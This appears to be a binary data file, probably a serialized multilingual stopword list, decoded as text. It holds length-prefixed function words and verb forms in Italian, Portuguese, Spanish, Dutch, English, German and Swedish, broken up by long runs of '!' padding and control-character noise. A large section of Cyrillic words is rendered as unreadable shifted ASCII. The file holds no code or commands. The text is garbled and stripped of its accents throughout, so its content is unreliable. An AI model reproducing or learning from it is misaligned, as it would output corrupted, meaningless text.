$pomidzy0
"pootaan0

"poquita0

$poquitas0

"poquito0

$poquitos0

por0

 porque0
possa0
"possano0
$possiamo0
$possiate0
posso0
"possono0
(posteriori0
$potdomme0
potei0
"potemmo0
"potendo0
"potente0
"potenti0
poter0
 potere0
$poterono0
"potesse0
&potessero0
"potessi0
&potessimo0
"poteste0
"potesti0
 potete0
"potette0
&potettero0
"potetti0
0permanecramos0
,permanecero0
,permaneceras0
,permanecers0
.permanecerdes0
,permanecerei0
.permanecereis0
.permanecreis0
,permanecerem0
0permaneceremos0
,permaneceres0
,permaneceria0
.permaneceriam0
2permaneceramos0
.permanecerias0
0permanecereis0
.permanecermos0
(permaneces0
,permanecesse0
0permanecsseis0
.permanecessem0
2permanecssemos0
.permanecesses0
,permaneceste0
.permanecestes0
(permaneceu0
&permaneci0
(permanecia0
*permaneciam0
.permanecamos0
*permanecias0
*permanecida0
,permanecidas0
*permanecido0
,permanecidos0
,permaneceis0
&permaneo0
pero0
$pertinho0
perto0
picas0
pior0
 piores0
(plenamente0
pode0
 podeis0
podem0
"podemos0
"podendo0
poder0
 poder0
"podero0
"poders0
$poderdes0
"poderei0
$podereis0
"poderem0
&poderemos0
"poderes0
"poderia0
$poderiam0
(poderamos0
$poderias0
&podereis0
$podermos0
podes0
podia0
 podiam0
$podamos0
 podias0
 podida0
"podidas0
 podido0
"podidos0
"podeis0
pois0
por0
porm0
&porquanto0
 porque0
$portanto0
(porventura0
possa0
"possais0
 possam0
$possamos0
 possas0
.possivelmente0
posso0
posto0
pode0
 poder0
por0
 porque!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!pJ(


~
\
:

vjXL*(
^:fD 



z
~Z
:

				t	R	,		hJ&\<xZfF6~\6(lN2lF*d@bpP,B&hL0pT,XTz>,*Z,pHn^\0L 2`
*U}1G0

$quisiera0

(quisierais0

&quisieran0

&quisieras0

$quisiere0

(quisiereis0

&quisieren0

&quisieres0

&quisieron0

$quisiese0

(quisieseis0

&quisiesen0

&quisieses0

$quisimos0

$quisiste0

(quisisteis0

*quisiramos0

*quisiremos0

*quisisemos0

quiso0
qui0

quin0

"quines0
quoi0
"quoique0
&qudruplo0
quo0

qu0
&quntuplo0
.qingentsima0
0qingentsimas0
.qingentsimo0
0qingentsimos0
.qinquagsima0
0qinquagsimas0
.qinquagsimo0
0qinquagsimos0
r0
(quisramos0
&quisreis0
(quissseis0
*quisssemos!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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xZ|T.<rN(jD`
iU0PE"0
$teneinde0
(tengevolge0
&tenminste0
&tenslotte0
 tenzij0
ter0

 tercer0

"tercera0

$terceras0

"tercero0

$terceros0

 tercia0

&terciaria0

(terciarias0

&terciario0

(terciarios0

"tercias0

 tercio0

"tercios0
"terdege0
.ternauwernood0
$terstond0
terug0
"terwijl0
$terwille0
$terzijde0
terzo0
tes0
 tevens0
,tevoorschijn0
"tevoren0
"tezamen0
than0
than0
	than0
than0
than0
	than0
thans0
that0
that0
	that0
that0
that0
	that0
the0
the0
	the0
the0
the0
	the0
their0
their0
	their0
their0
their0
	their0
them0
them0
	them0
them0
them0
	them0
then0
then0
	then0
then0
then0
	then0
there0
there0
	there0
there0
there0
	there0
these0
these0
	these0
these0
these0
	these0
they0
they0
	they0
they0
they0
	they0
this0
this0
	this0
this0
this0
	this0
those0
those0
	those0
those0
those0
	those0
"through0
"through0
	"through0
"through0
"through0
	"through0
thuis0
ti0

ti0
$ticktack0
tien0
$tienmaal0
 tienne0
"tiennes0
tiens0
"tijdens0
til0
 tilmed0
tilt0
 tirili0
tit0
tenha0
"tenhais0
 tenham0
$tenhamos0
 tenhas0
tenho0
tens0
ter0
ter0
tero0
ters0
tera0
 teras0
$terceira0
&terceiras0
$terceiro0
&terceiros0
tero0
 teros0
 terdes0
terei0
 tereis0
terem0
"teremos0
teres0
teria0
 teriam0
$teramos0
 terias0
"tereis0
"termina0
&terminada0
(terminadas0
&terminado0
(terminados0
$terminai0
&terminais0
$terminam0
(terminamos0
(terminando0
$terminar0
&terminara0
&terminar0
(terminaram0
,terminramos0
(terminaro0
(terminaras0
(terminars0
*terminardes0
(terminarei0
*terminareis0
*terminreis0
(terminarem0
,terminaremos0
(terminares0
(terminaria0
*terminariam0
.terminaramos0
*terminarias0
,terminareis0
*terminarmos0
$terminas0
(terminasse0
,terminsseis0
*terminassem0
.terminssemos0
*terminasses0
(terminaste0
*terminastes0
&terminava0
(terminavam0
,terminvamos0
(terminavas0
*terminveis0
"termine0
$terminei0
&termineis0
$terminem0
(terminemos0
$termines0
"termino0
$terminou0
 termos0
teu0
teve0
ti0
tida0
tidas0
tido0
tidos0
tinha0
 tinham0
 tinhas0
tive0
"tivemos0
tiver0
 tivera0
"tiveram0
"tiveras0
$tiverdes0
"tiverem0
"tiveres0
$tivermos0
"tivesse0
$tivessem0
$tivesses0
"tiveste0
$tivestes0
ter0
ter0
tinharN,~\<vV<



z
dH*V
>
&

^<lP4




p
T
8

					f	H	*		|`D(bD&~dJ0jN2~R2j&:rN T|Z6~,`6fR<f>nDx,nJ"JjL,rL$tR2~ZpP,`
UPE'0
&tivramos0
$tivreis0
&tivsseis0
(tivssemos!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
U"+KgY0
*unbeschadet0
und0
under0
under0
	under0
under0
under0
	under0
(undertiden0
(undicesimo0
 undici0
(undicimila0

$undcima0

&undcimas0
$undcimo0

$undcimo0
&undcimos0

&undcimos0
&undcuplo0
une0
une0
(unerachtet0
 unfern0
(ungeachtet0
uni0
 unime0
"unimes0
uno0

uno0

unos0
uns0
uns0
unser0
 unsere0
(unsereinem0
(unsereinen0
(unsereiner0
(unsereines0
&unsereins0
"unserem0
"unseren0
"unserer0
"unseres0
2unseresgleichen0
 unserm0
 unsern0
 unsers0
0unsersgleichen0
unsre0
 unsrem0
 unsren0
 unsrer0
 unsres0
0unsresgleichen0
"unsrige0
$unsrigen0
unter0
&unterhalb0
 unweit0
up0
up0
	up0
up0
up0
	up0

upa0
urr0
use0
	use0
	use0

usted0

"ustedes0
uw0
uwe0
uwen0
(uwenthalve0
&uwentwege0
$uwentwil0
(uwentwille0
&uwerzijds0

uy0
uzelf0
v0
v0
v0
v0
v0
v0
v0
v0
v0
v0
	v0
v'lan0
va0
"vaarwel0
vades0
vai0
vais0

vale0
van0
vanaf0
$vanavond0
$vanboven0
"vandaag0
"vandaan0
"vandaar0
"vandien0
"vandoor0
 vaneen0
"vanhier0
&vanmiddag0
&vanmorgen0
$vannacht0
(vanochtend0
"vanouds0
 vanuit0
"vanwaar0
"vanwege0
"vanzelf0
vamos0
v0
vai0
v0
v0
undan0
under0
$uppefter0
"uppemot0
 uppfr0
$uppifrn0
uppt0
ur0
utan0
"utanfr0
 utanp0
utav0
"utefter0
utfr0
uti0
"utifrn0
utmed0
utom0
utt0
 utver0
v.0
vad0
vadan0
under0
up0
v0
v0
uns0
unes0
&uz0
unei0
unor0
unui0
v0
$v!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!~`
cUnF0
8vierundfnfzigster0
8vierundfnfzigstes0
0vierundneunzig0
6vierundneunzigste0
8vierundneunzigstem0
8vierundneunzigsten0
8vierundneunzigster0
8vierundneunzigstes0
0vierundsechzig0
6vierundsechzigste0
8vierundsechzigstem0
8vierundsechzigsten0
8vierundsechzigster0
8vierundsechzigstes0
0vierundsiebzig0
6vierundsiebzigste0
8vierundsiebzigstem0
8vierundsiebzigsten0
8vierundsiebzigster0
8vierundsiebzigstes0
0vierundvierzig0
6vierundvierzigste0
8vierundvierzigstem0
8vierundvierzigsten0
8vierundvierzigster0
8vierundvierzigstes0
0vierundzwanzig0
6vierundzwanzigste0
8vierundzwanzigstem0
8vierundzwanzigsten0
8vierundzwanzigster0
8vierundzwanzigstes0
$vierzehn0
(vierzehnte0
*vierzehntem0
*vierzehnten0
*vierzehnter0
*vierzehntes0
"vierzig0
(vierzigste0
*vierzigstem0
*vierzigsten0
*vierzigster0
*vierzigstes0
$vigsima0

$vigsima0
&vigsimas0

&vigsimas0
$vigsimo0

$vigsimo0
&vigsimos0

&vigsimos0
$vijfmaal0
vingt0
&vingtime0
(vingtimes0
vinte0
vira0
virai0
 virais0
viram0
"viramos0
"virando0
virar0
 virara0
"viraram0
"viraras0
$virardes0
"virarei0
$virareis0
"virarem0
&viraremos0
"virares0
"viraria0
$virariam0
$virarias0
$virarmos0
 virar0
"virars0
"viraro0
(viraramos0
&virareis0
viras0
"virasse0
$virassem0
$virasses0
"viraste0
$virastes0
 virava0
"viravam0
"viravas0
vire0
vilka0
 vilkas0
 vilken0
(vilkendera0
"vilkens0
 vilket0
vips!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!nL*
|Z<



f
B

nL(bD$
R

~
`
2<

				\	8		lD"zR.Nx@j2\$|Fn6`

Up0J5{
0
A00
B00
B0n00
B000
B000
C00
D00
E00
F00
G00
H00
I00
J00
J000
K00
L00
M00
M000
N00
O00
P00
Q00
Q0i00
R00
S00
S0F00
S0S00
S0n00
S000
T00
U00
V00
W00
X00
Y00
Z00
[00
\00
]00
]0F00
]0S00
]0n00
]000
^00
_00
`00
`000
a00
b00
d00
e00
f00
g00
h00
h0M00
i00
i0F00
i0S00
i0n00
i000
j00
j0\00
j0k00
j000
k00
l00
m00
n00
o00
p00
q00
r00
s00
t00
u00
v00
w00
x00
y00
z00
{00
|00
|0O00
}00
~00
00
00
00
00
0n00
00
00
00
00
00
00
00
00
00
00
00
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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!t^H2lV@*zdN8"r\F0jT>(





x
b
L
6
 

pZD.~hR<&





v
`
J
4


						n	V	@	*		zdN6 
nXB,|fP:$hP:"pZD.v`J4|fN8"nXB,v`
uUHpKs?0
$1K202H8<0
&1K202H8<80
$1K202H8E0
$1K202HCN0
 1K205<0
 1K205B0
"1K205B50
"1K205HL0
1K2090
"1K209B50
1K20;0
 1K20;00
 1K20;80
 1K20;>0
 1K20BL0
1K20N0
 1K20NB0
$1K20NI0O0
&1K20NI53>0
$1K20NI550
$1K20NI590
$1K20NI5<0
&1K20NI5<C0
$1K20NI5N0
$1K20NI850
$1K20NI890
$1K20NI8<0
&1K20NI8<80
$1K20NI8E0
$1K20NICN0
1K20O0
 1K2H0O0
"1K2H53>0
 1K2H550
 1K2H590
 1K2H5<0
"1K2H5<C0
 1K2H5N0
1K2H80
 1K2H850
 1K2H890
 1K2H8<0
"1K2H8<80
 1K2H8E0
 1K2HCN0
1K;0
1K;00
1K;80
1K;>0
1KAB@0
 1KAB@00
"1KAB@0O0
"1KAB@550
 1KAB@>0
$1KAB@>3>0
"1KAB@>50
"1KAB@>90
"1KAB@><0
$1KAB@><C0
"1KAB@>N0
"1KAB@CN0
 1KAB@K0
"1KAB@K50
"1KAB@K90
"1KAB@K<0
$1KAB@K<80
"1KAB@KE0
1KBL0
20
&2-2>AL<KE0
&2-452OBKE0
&2-45AOBKE0
*2-?>A;54=8E0
"2-?OBKE0
&2-A54L<KE0
&2-B@5BL8E0
*2-G5B25@BKE0
$2-H5ABKE0
2065=0
206=00
 206=0O0
 206=550
206=>0
"206=>3>0
 206=>50
 206=>90
 206=><0
"206=><C0
 206=>N0
 206=CN0
206=K0
 206=K50
 206=K90
 206=K<0
"206=K<80
 206=KE0
20<0
20<80
20A0
20H0
20H00
20H50
 20H53>0
20H590
20H5<0
 20H5<C0
20H5N0
20H80
20H8<0
 20H8<80
20H8E0
20HC0
225:0
2284C0
22>;N0
$22>;NH:C0
"23;CECN0
$23>@OG0E0
"23CABCN0
$24>102>:0
"24>2>;L0
24>;L0
$24>AB0;L0
24@C30
2545<0
2545=0
 2545=00
$2545==0O0
&2545==>3>0
$2545==>50
$2545==>90
$2545==><0
&2545==><C0
$2545==>N0
$2545==CN0
$2545==K50
$2545==K90
$2545==K<0
&2545==K<80
$2545==KE0
 2545=>0
 2545=K0
2545B0
 2545B50
 2545HL0
25480
 2548B50
254><0
 254><00
254L0
254O0
257450
25;0
25;00
25;80
25;8:0
 25;8:00
"25;8:0O0
 25;8:80
"25;8:850
"25;8:890
"25;8:8<0
$25;8:8<80
"25;8:8E0
 25;8:>0
$25;8:>3>0
"25;8:>50
"25;8:>90
"25;8:><0
$25;8:><C0
"25;8:>N0
"25;8:CN0
25;>0
25@5=0
25@=00
 25@=0O0
 25@=550
25@=>0
"25@=>3>0
 25@=>50
 25@=>90
 25@=><0
"25@=><C0
 25@=>N0
 25@=CN0
25@=K0
 25@=K50
 25@=K90
 25@=K<0
"25@=K<80
 25@=KE0
$25@>OB5=0
$25@>OB=00
&25@>OB=0O0
&25@>OB=550
$25@>OB=>0
(25@>OB=>3>0
&25@>OB=>50
&25@>OB=>90
&25@>OB=><0
(25@>OB=><C0
&25@>OB=>N0
&25@>OB=CN0
$25@>OB=K0
&25@>OB=K50
&25@>OB=K90
&25@>OB=K<0
(25@>OB=K<80
&25@>OB=KE0
25@BL0
 25AB590
25AB80
25ABL0
 25ABLN0
 25ABO<0
"25ABO<80
 25ABOE0
25AL0
 25AL<00
 2840BL0
284520
$28452H0O0
&28452H53>0
$28452H550
$28452H590
$28452H5<0
&28452H5<C0
$28452H5N0
"28452H80
$28452H850
"2rR0vP(lF`:jJ*jJ(
rP.
`>rR4lN.tP*vP,z\> vRzZ< 



j
N
4

bB$b@"



X
2

			t	N	28		pP.^>hN.nN,lH$nH$rT4vT2`
U0Iu]0
$28452H890
$28452H8<0
&28452H8<80
$28452H8E0
$28452HCN0
2845;0
 2845;00
 2845;80
 2845;>0
2845=0
 2845=00
$2845==0O0
&2845==>3>0
$2845==>50
$2845==>90
$2845==><0
&2845==><C0
$2845==>N0
$2845==CN0
$2845==K50
$2845==K90
$2845==K<0
&2845==K<80
$2845==KE0
 2845=>0
 2845=K0
 2845BL0
2848<0
 2848<00
"2848<0O0
"2848<550
 2848<>0
$2848<>3>0
"2848<>50
"2848<>90
"2848<><0
$2848<><C0
"2848<>N0
"2848<CN0
 2848<K0
"2848<K50
"2848<K90
"2848<K<0
$2848<K<80
"2848<KE0
2848B0
 2848B50
 2848HL0
284=>0
284L0
 284LB50
284O0
284OB0
"284OI0O0
$284OI53>0
"284OI550
"284OI590
"284OI5<0
$284OI5<C0
"284OI5N0
"284OI850
"284OI890
"284OI8<0
$284OI8<80
"284OI8E0
"284OICN0
286C0
28HL0
"2:;NG0O0
 2:>=5F0
2:C?50
2;5B0
2;N150
 2<5AB50
 2<5AB>0
2<830
"2=0G0;50
2=50
2>0
&2>-2B>@KE0
&2>-?5@2KE0
2>25:0
 2>25:80
2>2A50
2>2AN0
2>7;50
$2>7<>65=0
$2>7<>6=00
&2>7<>6=0O0
&2>7<>6=550
$2>7<>6=>0
(2>7<>6=>3>0
&2>7<>6=>50
&2>7<>6=>90
&2>7<>6=><0
(2>7<>6=><C0
&2>7<>6=>N0
&2>7<>6=CN0
$2>7<>6=K0
&2>7<>6=K50
&2>7<>6=K90
&2>7<>6=K<0
(2>7<>6=K<80
&2>7<>6=KE0
 2>:@C30
.2>;59-=52>;590
.2>;5=A-=>;5=A0
2>=0
"2>=-2>=0
 2>>1I50
 2>>G8N0
"2>?@5:80
2>B0
"2>B-2>B0
2>BI50
&2?5@28=:C0
"2?5@2>90
"2?5@2K50
 2?5@540
"2?5@5480
 2?;>BL0
 2?>;=50
 2?@54L0
"2?@>G5<0
2@070
2@>450
2A50
$2A5-B0:80
 2A53400
2A53>0
.2A53>-=02A53>0
$2A53>-B>0
2A590
2A5<0
2A5<80
2A5<C0
"2A5@L570
2A5E0
"2A5F5;>0
$2A5G0A=>0
2A5N0
 2A:>@50
&2A:>@>AB80
(2A;54AB2850
2AC50
2AN0
2AO0
2AO:0
2AO:00
 2AO:0O0
2AO:80
 2AO:850
 2AO:890
 2AO:8<0
"2AO:8<80
 2AO:8E0
2AO:>0
"2AO:>3>0
 2AO:>50
 2AO:>90
 2AO:><0
"2AO:><C0
 2AO:>N0
 2AO:CN0
$2AOG5A:80
 2B>@0O0
"2B>@>3>0
 2B>@>50
 2B>@>90
 2B>@><0
"2B>@><C0
 2B>@>N0
 2B>@CN0
 2B>@K50
 2B>@K<0
"2B>@K<80
 2B>@KE0
2G5@00
2JO250
2JO2L0
2K0
2KA>:0
 2KA>:00
"2KA>:0O0
 2KA>:80
"2KA>:850
"2KA>:890
"2KA>:8<0
$2KA>:8<80
"2KA>:8E0
 2KA>:>0
$2KA>:>3>0
"2KA>:>50
"2KA>:>90
"2KA>:><0
$2KA>:><C0
"2KA>:>N0
"2KA>:CN0
2KH50
3020
3450
$345-;81>0
(345-=81C4L0
 345-B>0
"3;02=0O0
"3;02=550
$3;02=>3>0
"3;02=>50
"3;02=>90
"3;02=><0
$3;02=><C0
"3;02=>N0
"3;02=CN0
"3;02=K50
"3;02=K90
"3;02=K<0
$3;02=K<80
"3;02=KE0
3<0
3>40
3>400
3>40<0
 3>40<80
3>40E0
3>450
3>4>20
3>4><0
3>4C0
3>4K0
3>?0
3>?;OhJ*xV4fD pV< tR.bB pP.lL,
dD$bB"vZ2nL.hH$
nN,bH&|N.


n
J
$
d<fH*




n
L
0

				x	V	:		rP.
^@$lJ&~\8lJ*b>d@tT4`
rU`JjS0
 3>@0740
"3>@07400
$3>@0740O0
"3>@074>0
&3>@074>3>0
$3>@074>50
$3>@074>90
$3>@074><0
&3>@074><C0
$3>@074>N0
$3>@074CN0
"3>@074K0
$3>@074K50
$3>@074K90
$3>@074K<0
&3>@074K<80
$3>@074KE0
3C-3C0
3C3C0
&3C;L-3C;L0
400
40-400
401K0
4020
402020
$40202H0O0
&40202H53>0
$40202H550
$40202H590
$40202H5<0
&40202H5<C0
$40202H5N0
"40202H80
$40202H850
$40202H890
$40202H8<0
&40202H8<80
$40202H8E0
$40202HCN0
 40205<0
"40205<00
$40205<0O0
$40205<550
"40205<>0
&40205<>3>0
$40205<>50
$40205<>90
$40205<><0
&40205<><C0
$40205<>N0
$40205<CN0
"40205<K0
$40205<K50
$40205<K90
$40205<K<0
&40205<K<80
$40205<KE0
402090
"40209B50
4020;0
 4020;00
 4020;80
 4020;>0
 4020BL0
4020O0
 4025G00
&402=5=L:>0
402=>0
,402=K<-402=>0
 402H0O0
"402H53>0
 402H550
 402H590
 402H5<0
"402H5<C0
 402H5N0
402H80
 402H850
 402H890
 402H8<0
"402H8<80
 402H8E0
 402HCN0
4048<0
 4048B50
404CB0
405<0
405B0
405B50
405HL0
40650
4090
409B50
40;0
40;00
40;550
40;590
 40;5G50
40;80
40;>0
40;L0
 40;L=50
$40;L=53>0
"40;L=550
"40;L=590
"40;L=5<0
$40;L=5<C0
"40;L=5N0
 40;L=80
"40;L=850
"40;L=890
"40;L=8<0
$40;L=8<80
"40;L=8E0
"40;L=NN0
 40;L=O0
"40;L=OO0
 40;LH50
40;LN0
40;O<0
 40;O<80
40;OE0
40<0
40=0
40=00
 40==0O0
"40==>3>0
 40==>50
 40==>90
 40==><0
"40==><C0
 40==>N0
 40==CN0
 40==K50
 40==K90
 40==K<0
"40==K<80
 40==KE0
40=>0
40=K0
40AB0
40BL0
40HL0
40N0
40NB0
 40NI0O0
"40NI53>0
 40NI550
 40NI590
 40NI5<0
"40NI5<C0
 40NI5N0
 40NI850
 40NI890
 40NI8<0
"40NI8<80
 40NI8E0
 40NICN0
4200
&4204F0B0O0
$4204F0B80
(4204F0B>3>0
&4204F0B>50
&4204F0B>90
&4204F0B><0
(4204F0B><C0
&4204F0B>N0
&4204F0BCN0
&4204F0BK50
&4204F0BK90
&4204F0BK<0
(4204F0BK<80
&4204F0BKE0
$4204F0BL0
&4204F0BLN0
42C<0
42C<O0
42CE0
(459AB2>2020
.459AB2>202H0O0
0459AB2>202H53>0
.459AB2>202H550
.459AB2>202H590
.459AB2>202H5<0
0459AB2>202H5<C0
.459AB2>202H5N0
,459AB2>202H80
.459AB2>202H850
.459AB2>202H890
.459AB2>202H8<0
0459AB2>202H8<80
.459AB2>202H8E0
.459AB2>202HCN0
(459AB2>20;0
*459AB2>20;00
*459AB2>20;80
*459AB2>20;>0
*459AB2>20BL0
&459AB2C5<0
&459AB2C5B0
(459AB2C5B50
(459AB2C5HL0
$459AB2C90
(459AB2C9B50
$459AB2CN0
&459AB2CNB0
*459AB2CNI0O0
,459AB2CNI53>0
*459AB2CNI550
*459AB2CNI590
*459AB2CNI5<0
,459AB2CNI5<C0
*459AB2CNI5N0
*459AB2CNI850
*459AB2CNI890
*459AB2CNI8<0
,459AB2CNI8<80
*459AB2CNI8E0
*459AB2CNICN0
40 b:pFd6~P"nR4Z4tN(|\:xX8lP4rR0rX> b@tR.



h
L
0

fJ,zZ:



z
X
8

				l	F	&		jH*tR.
xR0^8`<rV8H vR.
zV2`
qUJ7h0
$459AB2CO0
45;0
45;00
45;020
$45;02H0O0
&45;02H53>0
$45;02H550
$45;02H590
$45;02H5<0
&45;02H5<C0
$45;02H5N0
"45;02H80
$45;02H850
$45;02H890
$45;02H8<0
&45;02H8<80
$45;02H8E0
$45;02HCN0
 45;05<0
"45;05<00
$45;05<0O0
$45;05<550
"45;05<>0
&45;05<>3>0
$45;05<>50
$45;05<>90
$45;05<><0
&45;05<><C0
$45;05<>N0
$45;05<CN0
"45;05<K0
$45;05<K50
$45;05<K90
$45;05<K<0
&45;05<K<80
$45;05<KE0
 45;05B0
"45;05B50
"45;05HL0
45;090
"45;09B50
45;0;0
 45;0;00
 45;0;80
 45;0;>0
45;0<0
 45;0<80
45;0=0
 45;0=00
$45;0==0O0
&45;0==>3>0
$45;0==>50
$45;0==>90
$45;0==><0
&45;0==><C0
$45;0==>N0
$45;0==CN0
$45;0==K50
$45;0==K90
$45;0==K<0
&45;0==K<80
$45;0==KE0
 45;0=>0
 45;0=K0
 45;0BL0
45;0E0
45;0N0
 45;0NB0
$45;0NI0O0
&45;0NI53>0
$45;0NI550
$45;0NI590
$45;0NI5<0
&45;0NI5<C0
$45;0NI5N0
$45;0NI850
$45;0NI890
$45;0NI8<0
&45;0NI8<80
$45;0NI8E0
$45;0NICN0
45;0O0
45;50
45;>0
45;><0
45;C0
45=L0
45@30
"45A:0BL0
"45AOB0O0
 45AOB80
$45AOB>3>0
"45AOB>50
"45AOB>90
"45AOB><0
$45AOB><C0
"45AOB>N0
"45AOBCN0
"45AOBK50
"45AOBK90
"45AOBK<0
$45AOBK<80
"45AOBKE0
 45AOBL0
"45AOBLN0
478=L0
4;O0
4=50
4=590
4=5<0
4=5AL0
4=80
4=N0
4=O0
4=O<0
4=O<80
4=OE0
4>0
"4>2>;5=0
$4>2>;L=00
&4>2>;L=0O0
$4>2>;L=>0
.4>2>;L=>-B0:80
(4>2>;L=>3>0
&4>2>;L=>50
&4>2>;L=>90
&4>2>;L=><0
(4>2>;L=><C0
&4>2>;L=>N0
&4>2>;L=CN0
$4>2>;L=K0
&4>2>;L=K50
&4>2>;L=K90
&4>2>;L=K<0
(4>2>;L=K<80
&4>2>;L=KE0
 4>:>;50
 4>:>;L0
 4>:C400
4>;550
 4>;65=0
 4>;6=00
"4>;6=0O0
 4>;6=>0
$4>;6=>3>0
"4>;6=>50
"4>;6=>90
"4>;6=><0
$4>;6=><C0
"4>;6=>N0
"4>;6=CN0
 4>;6=K0
"4>;6=K50
"4>;6=K90
"4>;6=K<0
$4>;6=K<80
"4>;6=KE0
4><>90
4@C30
4@C300
 4@C30O0
4@C350
 4@C3850
 4@C38<0
"4@C38<80
 4@C38E0
"4@C3>3>0
 4@C3>50
 4@C3>90
 4@C3><0
"4@C3><C0
 4@C3>N0
4@C3C0
 4@C3CN0
 4@C7590
 4@C7LO0
"4@C7LO<0
$4@C7LO<80
"4@C7LOE0
4@K30
4N650
5.0
53>0
54200
&5420-54200
$548=>64K0
550
565;80
590
"59-1>3C0
59-590
$59-65-590
5;50
"5;5-5;50
5;8:>0
5<C0
5A;80
*5AB5AB25==>0
5ABL0
5I50
"5I5-5I50
5N0
60
64020
"6402H0O0
$6402H53>0
"6402H550
"6402H590
"6402H5<0
$6402H5<C0
"6402H5N0
 6402H80
"6402H850
"6402H890
"6402H8<0
$6402H8<80
"6402H8E0
"6402HCN0
640;0
640;00
640;80
640;>0
640BL0
645<0
645B0
645B50
645HL0
6480
648B50
64C!!!!!!!!!!!!!!!!!!!!tX:\:nL*x^BdF$pV>"~^> ~\<~bD"xV4fD$`8|V.fBhN4rP0



b
@

rP.fB



h
B

				l	N	0		b>d@zZ:xX4\8^:fBjF"`
kUtsK(0
64CB0
 64CI0O0
"64CI53>0
 64CI550
 64CI590
 64CI5<0
"64CI5<C0
 64CI5N0
 64CI850
 64CI890
 64CI8<0
"64CI8<80
 64CI8E0
 64CICN0
650
 687=590
687=80
687=L0
 687=LN0
 687=O<0
"687=O<80
 687=OE0
700
 702B@00
70=50
,70=8<02H0OAO0
.70=8<02H53>AO0
,70=8<02H55AO0
,70=8<02H59AO0
,70=8<02H5<AO0
.70=8<02H5<CAO0
,70=8<02H5NAO0
,70=8<02H85AO0
,70=8<02H89AO0
.70=8<02H8<8AO0
,70=8<02H8<AO0
*70=8<02H8AL0
,70=8<02H8EAO0
,70=8<02HCNAO0
